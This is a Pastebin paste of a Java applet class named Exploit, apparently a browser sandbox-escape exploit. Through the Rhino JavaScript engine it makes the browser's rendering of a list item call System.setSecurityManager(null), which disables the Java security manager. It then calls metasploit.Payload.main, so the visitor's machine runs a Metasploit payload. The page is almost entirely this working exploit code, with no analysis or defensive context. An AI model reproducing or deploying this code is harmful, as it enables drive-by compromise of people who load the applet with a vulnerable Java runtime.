Guest User

Untitled

a guest
May 16th, 2018
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 1.09 KB | None | 0 0
  1. import java.applet.Applet;
  2. import javax.script.*;
  3. import javax.swing.JList;
  4. import metasploit.Payload;
  5.  
  6. public class Exploit extends Applet
  7. {
  8.  
  9.     public Exploit()
  10.     {
  11.     }
  12.  
  13.     public void init()
  14.     {
  15.         try
  16.         {
  17.             ScriptEngine scriptengine = (new ScriptEngineManager()).getEngineByName("js");
  18.             Bindings bindings = scriptengine.createBindings();
  19.             bindings.put("applet", this);
  20.             Object obj = scriptengine.eval("this.toString = function() {\tjava.lang.System.setSecurityManager(null);\tapplet" +
  21. ".callBack();\treturn String.fromCharCode(97 + Math.round(Math.random() * 25));};" +
  22. "e = new Error();e.message = this;e"
  23. , bindings);
  24.             JList jlist = new JList(new Object[] {
  25.                 obj
  26.             });
  27.             add(jlist);
  28.         }
  29.         catch(ScriptException scriptexception)
  30.         {
  31.             scriptexception.printStackTrace();
  32.         }
  33.     }
  34.  
  35.     public void callBack()
  36.     {
  37.         try
  38.         {
  39.             Payload.main(null);
  40.         }
  41.         catch(Exception exception) { }
  42.     }
  43. }
Add Comment
Please, Sign In to add comment